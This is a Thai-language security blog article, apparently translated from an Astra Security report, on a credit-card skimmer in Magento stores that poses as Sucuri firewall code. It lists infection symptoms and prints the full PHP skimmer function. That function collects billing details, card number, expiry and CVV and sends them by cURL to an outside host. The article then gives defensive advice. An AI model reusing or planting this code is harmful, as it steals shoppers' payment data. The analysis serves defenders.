Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

บัตรเครดิต Skimmer แอบอ้างเป็น Sucuri ร้าน Magento ตกเป็นเป้าหมายและขโมยข้อมูล CC

ด้วยมาตรการล็อกดาวน์จากโควิด-19 และการขาย BFCM และส่วนลดคริสต์มาสที่ใกล้จะเกิดขึ้นทั่วโลก การซื้อของออนไลน์ยังคงเพิ่มขึ้นอย่างต่อเนื่องในปีนี้และควบคู่ไปกับการโจมตีด้วยสกิมเมอร์ของบัตรเครดิตดิจิทัล

ตามรายงานล่าสุดของเราเกี่ยวกับแคมเปญมัลแวร์โทรเลข นักวิจัยด้านความปลอดภัยที่ Astra Security พบแคมเปญมัลแวร์ขโมยข้อมูลบัตรเครดิตที่กำลังดำเนินอยู่ ซึ่งแอบอ้างเป็น บริษัท รักษาความปลอดภัย 'Sucuri' เพื่อขโมยข้อมูลลูกค้าที่ละเอียดอ่อนจากร้านค้าอีคอมเมิร์ซที่ติดไวรัส แม้ว่าเราจะติดตามมัลแวร์นี้ที่กำหนดเป้าหมายไปยังร้านค้า Magento แต่มีการตรวจพบร่องรอยของมัลแวร์ใน CMS อื่นๆ เช่น Prestashop, OpenCart และ WooCommerce ด้วย

การโจมตีผ่านบัตรเครดิตดิจิทัลคืออะไร

การโจมตีผ่านบัตรเครดิตดิจิทัลเป็นการโจมตีผ่านเว็บที่แฮกเกอร์แทรกโค้ด JavaScript ที่เป็นอันตรายลงในเว็บไซต์หรือร้านค้าอีคอมเมิร์ซ เพื่อติดมัลแวร์และขโมยข้อมูลประจำตัวและข้อมูลการชำระเงินที่ละเอียดอ่อนจากผู้เข้าชมเว็บไซต์/ลูกค้าในท้ายที่สุด โค้ดที่เป็นอันตรายของนักเล่นสเก็ตดิจิทัลเหล่านี้ส่วนใหญ่จะถูกฝังไว้ที่แบบฟอร์มป้อนข้อมูลของผู้ใช้ที่แสดงอยู่ในหน้าชำระเงินของไซต์ที่ดักจับข้อมูลของผู้ใช้หรือสร้าง iframe ด้วยรูปแบบการชำระเงินปลอมเพื่อขโมยข้อมูลบัตรเครดิตของลูกค้า

การเล่นผ่านข้อมูลดิจิทัลส่งผลกระทบต่อเว็บไซต์หลายแสนเว็บไซต์จนถึงปัจจุบัน ซึ่งรวมถึงแบรนด์ที่มีชื่อเสียง เช่น British Airways, Macy’s, Forbes, NewEgg และ Ticketmaster

อาการของมัลแวร์ Magento ขโมยข้อมูลบัตรเครดิต

  1. ลูกค้าบ่นเกี่ยวกับการทำธุรกรรมที่ไม่ระบุตัวตนจากบัตรเครดิตของพวกเขาหลังจากใช้ที่ร้านค้าของคุณ
  2. อีเมลจากผู้ให้บริการชำระเงิน/ธนาคารเพื่อแจ้งเตือนเกี่ยวกับความปลอดภัยของเกตเวย์การชำระเงินของร้านค้าของคุณ
  3. เพิ่มวิธีการชำระเงินเพิ่มเติมในร้านค้าที่คุณไม่ได้ระบุ
  4. โค้ดที่มีคำว่า 'Sucuri' ที่เพิ่มไว้ในเว็บไซต์ของคุณ แม้ว่าคุณจะไม่ได้ใช้ผลิตภัณฑ์ใดๆ ที่มีชื่อก็ตาม

วิธีที่แฮ็กเกอร์กำหนดเป้าหมายร้านค้าและแอบอ้างเป็นไฟร์วอลล์ Sucuri เพื่อหลอกให้ผู้ใช้แจ้งข้อมูลการชำระเงิน

ในระหว่างการวิเคราะห์แคมเปญมัลแวร์นี้ ทีมวิจัยของเราพบว่าแฮกเกอร์กำลังพยายามฝังมัลแวร์ผ่านบัตรเครดิตนี้ไว้ในเว็บไซต์อีคอมเมิร์ซ (ส่วนใหญ่เป็นร้าน Magneto) และหลอกผู้เยี่ยมชมเว็บไซต์หรือผู้ซื้อให้ป้อนข้อมูลที่ละเอียดอ่อนระหว่างการชำระเงิน รหัส Skimmer บัตรเครดิตที่เป็นอันตรายอยู่ที่ตำแหน่งไฟล์นี้ /app/code/core/Mage/Payment/Model/Method/Cc.php ของไซต์ที่ติดไวรัส

ที่นี่ผู้โจมตีกำลังเพิ่มฟังก์ชัน $this->sucuri_encrypted(); ซึ่งช่วยให้พวกเขาสามารถกรองข้อมูลที่ป้อนโดยผู้ใช้ระหว่างกระบวนการเช็คเอาต์ และข้อมูลที่ดึงออกมากำลังถูกส่งไปยัง https://www.thebrandstore.gr/js/i.php

ข้อมูลที่ถูกขโมยประกอบด้วยข้อมูลที่ละเอียดอ่อนของลูกค้า รวมถึงชื่อ นามสกุล ที่อยู่ หมายเลขโทรศัพท์ และรายละเอียดบัตรเครดิต

ด้านล่างนี้คือตัวอย่างโค้ดที่ใช้ในแคมเปญมัลแวร์นี้ที่ผู้โจมตีใช้:

function sucuri_encrypted()
 {
 $info = $this->getInfoInstance();
 $object = new Mage_Checkout_Block_Onepage_Billing;
 $address1 = $object->getQuote()->getBillingAddress();
 $data1 = $address1->getFirstname();
 $data2 = $address1->getLastname();
 $data3 = $address1->getStreet(1);
 $data4 = $address1->getStreet(2);
 $data5 = $address1->getCity();
 $data6 = $address1->getRegion();
 $data7 = $address1->getPostcode();
 $data8 = $address1->getCountry();
 $data9 = $address1->getTelephone();
 $data10 = $info->getCcNumber();
 $expyear = substr($info->getCcExpYear(), -2);
 $expmonth = $info->getCcExpMonth();
 if (strlen($expmonth) == 1) {
 $expmonth = '0'.$expmonth;
 };
 $data11 = $expmonth;
 $data12 = $expyear;
 $data13 = $info->getCcCid();
 $data15 = $_SERVER['SERVER_NAME'];
 $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
//create array of data to be secured
$sucuri_firewall['firstname'] = base64_encode($data1);
$sucuri_firewall['lastname'] = base64_encode($data2);
$sucuri_firewall['address'] = base64_encode($data3);
$sucuri_firewall['address2'] = base64_encode($data4);
$sucuri_firewall['city'] = base64_encode($data5);
$sucuri_firewall['state'] = base64_encode($data6);
$sucuri_firewall['zip'] = base64_encode($data7);
$sucuri_firewall['country'] = base64_encode($data8);
$sucuri_firewall['phone'] = base64_encode($data9);
$sucuri_firewall['cc'] = base64_encode($data10);
$sucuri_firewall['exp'] = base64_encode($data11);
$sucuri_firewall['expyear'] = base64_encode($data12);
$sucuri_firewall['cvv'] = base64_encode($data13);
$sucuri_firewall['email'] = base64_encode($data16);
$sucuri_firewall['dari'] = base64_encode($data15);
$sucuri_firewall['submit'] = 'Submit';
//traverse array and prepare data for posting (key1=value1)
foreach ( $sucuri_firewall as $key => $value) {
 $post_items[] = $key . '=' . $value;
}
//create the final string to be posted using implode()
$post_string = implode ('&', $post_items);
//create cURL connection
$curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
//set options
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
//set data to be posted
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
//perform our request
$result = curl_exec($curl_connection);
curl_close($curl_connection);
}
}
}.

ดังที่คุณเห็นในโค้ดด้านบน ผู้ขโมยข้อมูลบัตรเครดิตได้เพิ่มฟังก์ชันชื่อ $this->sucuri_encrypted(); ซึ่งแสดงรหัสไฟร์วอลล์ Sucuri ที่ปลอมแปลง

วิธีปกป้องร้านค้าอีคอมเมิร์ซของคุณจากมัลแวร์นี้

เว็บไซต์อีคอมเมิร์ซหรือร้านค้าที่ติดมัลแวร์นี้อาจสูญเสียรายได้จำนวนมากรวมถึงความไว้วางใจของลูกค้าเนื่องจากข้อมูลที่สำคัญของลูกค้าถูกขโมยที่นี่และคำสั่งซื้อที่ถูกต้องจะไม่ได้รับหรือการชำระเงินยังไม่เสร็จสิ้น ดังนั้น ขอแนะนำสำหรับเจ้าของไซต์ว่าพวกเขาควรใช้มาตรการรักษาความปลอดภัยก่อนหน้านี้ เพื่อปกป้องไซต์และข้อมูลลูกค้าจากสกิมเมอร์บัตรเครดิตประเภทนี้และแคมเปญมัลแวร์อื่น ๆ

หากคุณกำลังใช้ไฟร์วอลล์แอปพลิเคชันของ Astra Security ร้านอีคอมเมิร์ซของคุณได้รับการปกป้องจากการโจมตีนี้แล้ว การโจมตีทางไซเบอร์และช่องโหว่อื่นๆ เช่น SQLi, XSS, CSRF, LFI, RFI, การแฮ็กบัตรเครดิต, สแปม, บอทที่ไม่ดี เป็นต้น นอกจากนี้ ผู้เชี่ยวชาญด้านความปลอดภัยแนะนำการสแกนมัลแวร์เป็นประจำว่าเป็นมาตรการรักษาความปลอดภัยที่สำคัญสำหรับความปลอดภัยของเว็บไซต์มาเป็นเวลานาน ถึงเวลาที่คุณต้องเตรียมเว็บไซต์ให้พร้อมด้วยมาตรการรักษาความปลอดภัยที่เหมาะสมเพื่อปกป้องเว็บไซต์ตลอดเวลา